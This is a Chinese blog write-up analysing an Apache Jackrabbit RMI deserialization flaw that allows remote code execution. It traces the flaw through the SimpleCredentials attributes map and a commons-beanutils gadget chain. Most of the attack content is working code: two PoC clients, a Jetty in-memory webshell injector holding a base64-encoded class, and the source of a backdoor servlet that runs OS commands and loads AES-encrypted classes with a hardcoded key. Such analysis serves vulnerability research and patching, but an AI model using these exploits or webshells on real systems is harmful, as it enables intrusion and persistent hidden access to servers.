参考链接

https://xz.aliyun.com/t/13118

https://boogipop.com/2023/10/16/Apache%20Jackrabbit%20RMI%20RCE%20%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8/

搭建环境

https://jackrabbit.apache.org/jcr/downloads.html#apache-jackrabbit-2-20-10-november-7th-2023

把2.20.10版本的jar包下载下来 然后去github上下载其相同版本的源码

image-20231213153027425

配置好Debug 然后运行jar包

1
& 'C:\Program Files\Java\jdk1.8.0_202\bin\java.exe' -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar .\jackrabbit-standalone-2.20.10.jar

image-20231213153113363

部署成功

漏洞分析

在Apache Jackrabbit webapp和standalone中使用了commons-beanutils组件,该组件包含一个可用于通过 RMI 远程执行代码的类。攻击者可利用该组件构造恶意的序列化对象,发送到服务端的RMI服务端口或者Web服务的/rmi路径,目标服务器对恶意对象反序列化导致RCE

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import ysoserial.payloads.ObjectPayload;

import javax.jcr.SimpleCredentials;


public class poc {
public static void main( String[] args ) throws Exception {
Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("CommonsBeanutils1");
ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
Object object = payload.getObject("calc");

SimpleCredentials simpleCredentials = new SimpleCredentials("admin", "admin".toCharArray());
simpleCredentials.setAttribute("admin", object);

URLRemoteRepository repository = new URLRemoteRepository("http://localhost:8080/rmi");
repository.login(simpleCredentials);
}

}

漏洞点存在于

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>RMI</servlet-name>
<servlet-class>org.apache.jackrabbit.servlet.remote.RemoteBindingServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>RMI</servlet-name>
<url-pattern>/rmi</url-pattern>
</servlet-mapping>

就是在这个/rmi路由下 对应的类是RemoteBindingServlet

image-20231213153552850

这段代码的作用是将远程存储库对象进行序列化,并将序列化后的对象以二进制流的形式作为响应发送给客户端.

image-20231213154117134

然后跟进这个login方法

image-20231213154203284

为什么是这个AbstractRepository类的原因是 因为这个类是URLRemoteRepository的父类

image-20231213154236841

image-20231213154304610

image-20231213154340914

然后进入这个重载login方法 这里获取到的factory是 URLRemoteRepositoryFactory 这个工厂类 然后我们在跟进这个工厂类的login方法

image-20231213154729422

这段代码是一个 login() 方法的实现,用于通过提供的凭据和工作空间登录到远程存储库,并返回一个会话(Session)对象

1
2
3
// 调用 remote 对象的 login() 方法来进行远程登录。
// remote 是一个远程存储库对象(RemoteRepository),通过调用其 login() 方法,使用提供的凭据和工作空间进行登录操作。
// 返回值是一个远程会话对象(RemoteSession)

那么我们就接着来看服务端这边处理远程登录的代码

ServerRepository的login方法

image-20231213155139423

image-20231213155214492

1
// 调用 repository 对象的 login() 方法来进行登录操作

这里的关键点是credentials是通过客户端传递过来的,而Credentials接口继承了Serializable接口

image-20231213155501100

image-20231213155540985

并且SimpleCredentials这个类使用了这个接口 并且里面刚好有public的setter和getter方法能赋值这个hashmap的attributes参数

image-20231213155652543

这里的value设置成恶意的对象,能够在反序列化的过程中触发RCE,具体设置成什么,则需要在Apache Jackrabbit寻找其他可利用的链 (然后我们在查看依赖的过程发现 其中存在这个cb这个依赖)

image-20231213155803256

那么我们就可以来设置value为cb链了

接下来的过程就是调用远程ServerRepository的login方法,其参数是构造的恶意SimpleCredentials,其过程是服务端开启了一个RMI服务,客户端调用该服务并发送恶意对象,服务端反序列化恶意对象,触发RCE

1
unmarshalvalue方法,在rmi请求的流程中,客户端会序列化请求的参数,然后在服务端的unmarshalvalue方法进行readobject反序列化,从而导致RCE

image-20231213160242219

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [3]
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [2]
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:1412, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [1]
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
unmarshalValue:322, UnicastRef (sun.rmi.server)
unmarshalParametersUnchecked:628, UnicastServerRef (sun.rmi.server)
unmarshalParameters:616, UnicastServerRef (sun.rmi.server)
dispatch:338, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1943300791 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$14)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

这个就是完整的调用栈了

内存马注入

这里直接就是参考boogipop师傅的

image-20231213172041855

jetty9版本 那么直接去找jetty9的poc来打就行了

内存马打法其实都一样

InjectJettyServletShell.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class InjectJettyServletShell extends AbstractTranslet {
private static Object servletHandler = null;
private static String filterName = "ServletTemplates";
private static String filterClassName = "org.example.ServletTemplates";
private static String url = "/*";
private static synchronized void LoadServlet() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("yv66vgAAADQBHgoARwB+CgAQAH8KAIAAgQoAWACCCQCDAIQIAIUKAIYAhwgAiAsAiQCKCACLCgAQAIwIAI0KABAAjgkAjwCQCACRBwCSCACTCACUCABhCACVBwCWCgCXAJgKAJcAmQoAmgCbCgAVAJwIAJ0KABUAngoAFQCfCwCgAKEKAKIAhwgAowsAiQCkCwCJAKUIAKYLAIkApwgAqAsAqQCqCACrCgCsAK0HAK4HAK8KACkAfgsAqQCwCgApALEIALIKACkAswoAKQC0CgAoALUKAKwAtgsAiQC3CgC4ALkKAEYAugoArAC7BwC8CgBBAL0KAD0AvgoANgC/CgA2AMAKAD0AwQgAwgcAwwcAxAcAxQoAPQDGBwDHCgDIAMkHAMoKAEMAywoARgDMBwDNBwDOAQABVQEADElubmVyQ2xhc3NlcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTG9yZy9leGFtcGxlL1NlcnZsZXRUZW1wbGF0ZXM7AQANQkFTRTY0RGVjb2RlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQAKaW5wdXRCeXRlcwEAAltCAQAHZW5jb2RlcgcAzwEAB0RlY29kZXIBABpMamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyOwEADGVuY29kZWRCeXRlcwEABmRvUG9zdAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEACWV2aWxDbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwCSBwBfBwDKAQAKRXhjZXB0aW9ucwcA0AEABWRvR2V0AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKU291cmNlRmlsZQEAFVNlcnZsZXRUZW1wbGF0ZXMuamF2YQwASgBLDADRANIHANMMANQA1QwA1gDXBwDYDADZANoBAB5bK10gRHluYW1pYyBTZXJ2bGV0IHNheXMgaGVsbG8HANsMANwA3QEABHR5cGUHAN4MAN8A4AEABWJhc2ljDADCAOEBAARwYXNzDADiAOMHAOQMAOUAVAEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcA5gwA5wDoDADpAOoHAOsMAOwA7QwASgDuAQACXEEMAO8A8AwA8QDyBwDzDAD0APUHAPYBABBlNDVlMzI5ZmViNWQ5MjViDAD3AOAMAPgA8gEABFBPU1QMAPkA+gEAAXUHAPsMAPwA/QEAA0FFUwcA/gwA/wEAAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEBAQIMAQMBBAEAAAwBAwEFDAEGAPIMAEoBBwwBCAEJDAEKAQsHAQwMAQ0A8gwAUQBSDAEOANcBAB5vcmcvZXhhbXBsZS9TZXJ2bGV0VGVtcGxhdGVzJFUMAQ8BEAwBEQESDABKARMMARQBFQwBFgEXAQAGZXF1YWxzAQAPamF2YS9sYW5nL0NsYXNzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlDAEYARkBABBqYXZhL2xhbmcvT2JqZWN0BwEaDAEbARwBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAEdAEsMAFwAXQEAHG9yZy9leGFtcGxlL1NlcnZsZXRUZW1wbGF0ZXMBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAGZGVjb2RlAQAGKFtCKVtCAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBAAdkb0ZpbmFsAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQA4KExvcmcvZXhhbXBsZS9TZXJ2bGV0VGVtcGxhdGVzO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAFnAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQAhAEYARwAAAAAABQABAEoASwABAEwAAAAvAAEAAQAAAAUqtwABsQAAAAIATQAAAAYAAQAAABIATgAAAAwAAQAAAAUATwBQAAAACgBRAFIAAQBMAAAAZQACAAQAAAARKrYAAky4AANNLCu2AAROLbAAAAACAE0AAAASAAQAAAAUAAUAFQAJABYADwAXAE4AAAAqAAQAAAARAFMAVAAAAAUADABVAFYAAQAJAAgAVwBaAAIADwACAFsAVgADAAQAXABdAAIATAAAAogABwAJAAABYLIABRIGtgAHKxIIuQAJAgDGAIorEgi5AAkCABIKtgALmQB6KxIMuQAJAgBOLcYAai22AA2aAGMBOgSyAA4SD7YAC5kAGga9ABBZAxIRU1kEEhJTWQUtUzoEpwAXBr0AEFkDEhNTWQQSFFNZBS1TOgS7ABVZuAAWGQS2ABe2ABi3ABkSGrYAG7YAHDoFLLkAHQEAGQW2AB6nAMgrEh+5ACACAMYAvSu5ACEBABIitgALmQCnEgxOK7kAIwEAEiQtuQAlAwASJrgAJzoEGQQFuwAoWbsAKVm3ACoruQAjAQASJLkAKwIAtgAsEi22AC62AC+2AAISJrcAMLYAMRkEK7kAMgEAtgAzuAA0tgA1OgW7ADZZKiq2ADe2ADi3ADkZBbYAOjoGGQa2ADs6BxkGEjwFvQA9WQMSPlNZBBI/U7YAQDoIGQgZBwW9AEFZAytTWQQsU7YAQlenAAhOLbYARLEAAQClAVcBWgBDAAMATQAAAGYAGQAAABsACAAdACMAHwAsACAANwAhADoAIgBFACMAXAAlAHAAJwCMACgAlwAqAKUALQCzAC4AtgAvAMQAMADLADEA/AAyAQ8AMwElADQBLAA1AUMANgFXADoBWgA4AVsAOQFfADwATgAAAIQADQA6AF0AXgBfAAQAjAALAGAAVAAFACwAawBhAFQAAwC2AKEAYgBUAAMAywCMAGMAZAAEAQ8ASABlAFYABQElADIAZgBnAAYBLAArAGgAaQAHAUMAFABqAGsACAFbAAQAbABtAAMAAAFgAE8AUAAAAAABYABuAG8AAQAAAWAAcABxAAIAcgAAABgAB/0AXAcAcwcAdBP5ACYC+wC8QgcAdQQAdgAAAAQAAQB3AAQAeABdAAIATAAAAEkAAwADAAAAByorLLYARbEAAAACAE0AAAAKAAIAAABAAAYAQQBOAAAAIAADAAAABwBPAFAAAAAAAAcAbgBvAAEAAAAHAHAAcQACAHYAAAAEAAEAdwAJAHkAegABAEwAAAArAAAAAQAAAAGxAAAAAgBNAAAABgABAAAASwBOAAAADAABAAAAAQB7AF8AAAACAHwAAAACAH0ASQAAABIAAgA2AEYASAAAAFgAgABZAAk=");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
private static byte[] BASE64Decoder(String data){
byte[] inputBytes = data.getBytes();
Base64.Decoder encoder = Base64.getDecoder();
byte[] encodedBytes = encoder.decode(inputBytes);
return encodedBytes;
}

//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}

private static synchronized void InjectServlet() throws Exception {
if(servletHandler != null){
//方法二
Class EvilServlet = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addServletWithMapping", Class.class, String.class);
addFilterWithMapping.invoke(servletHandler, EvilServlet, "/boogipop");
}

}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}

private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();

while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}

if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}


public InjectJettyServletShell() {
try{
LoadServlet();
GetWebContent();
InjectServlet();
}catch (Exception e){
e.printStackTrace();
}

}
static {
new InjectJettyServletShell();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

ServletTemplates.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package org.example;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import javax.crypto.Cipher;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Scanner;

public class ServletTemplates extends HttpServlet {
private static byte[] BASE64Decoder(String data){
byte[] inputBytes = data.getBytes();
Base64.Decoder encoder = Base64.getDecoder();
byte[] encodedBytes = encoder.decode(inputBytes);
return encodedBytes;
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
System.out.println("[+] Dynamic Servlet says hello");

if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
//basic cmd shell
String cmd = request.getParameter("pass");
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.getWriter().println(result);
}
}else if(request.getHeader("e45e329feb5d925b") != null){
//behind3 shell
try{
if (request.getMethod().equals("POST")){
String k = "pass";
request.getSession().setAttribute("u",k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(BASE64Decoder(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{request, response});
}
}catch(Exception e){
e.printStackTrace();
}
}
}

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}

class U extends ClassLoader{
U(ClassLoader c){super(c);}

public Class g(byte []b){return super.defineClass(b,0,b.length);}
}

public static void main(String[] args) {

}
}

这里先是编译ServletTemplates.java文件 然后转化成base64编码

image-20231213172248562

然后使用该脚本将换行服删掉

1
2
3
4
5
multiline_string = """base64编码"""

single_line_string = multiline_string.replace('\n', '')
print(single_line_string)

然后替换进InjectJettyServletShell中

image-20231213172415784

再将其编译

然后写入poc中

image-20231213172443643

运行

image-20231213172507004

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.jackrabbit.commons.JcrUtils;
import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;

import javax.jcr.Repository;
import javax.jcr.SimpleCredentials;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class test {
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "1vxyz");
byte[] code = Files.readAllBytes(Paths.get("D:\\ctf application\\idea_vip\\IntelliJ IDEA 2022.2.2\\project\\Apache_Jackrabbit_RMI\\target\\classes\\org\\example\\InjectJettyServletShell.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);

setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
setFieldValue(comparator,"property","outputProperties");
SimpleCredentials simpleCredentials = new SimpleCredentials("1", "1".toCharArray());
simpleCredentials.setAttribute("a",queue);
URLRemoteRepository repository = new URLRemoteRepository("http://localhost:8080/rmi");
repository.login(simpleCredentials);

}

}

总结

利用链子

1
2
3
4
5
6
7
8
9
远程调用ServerRipository.login()方法
反序列化SimpleCredentials对象Attribute属性
HashMap.readObject()
CB链

//其实就是我们先获取到服务端的远程存储库对象 然后调用该对象的login方法来进行登录 然后服务端那边的login方法就会来处理我们的请求 因为我们客户端使用的login方法 需要给服务端这边传两个参数 其中一个就是我们可控的SimpleCredentials类 然后因为其中有个参数是Hashmap对象的 并且可以赋值 服务端又存在cb链依赖
我们就可以构造恶意的SimpleCredentials类传到服务端 然后服务端就会反序列化我们传入的SimpleCredentials类 这样就造成了RCE

(其过程是服务端开启了一个RMI服务,客户端调用该服务并发送恶意对象,服务端反序列化恶意对象,触发RCE)

官方的修复方案就是将CB链的依赖给删除了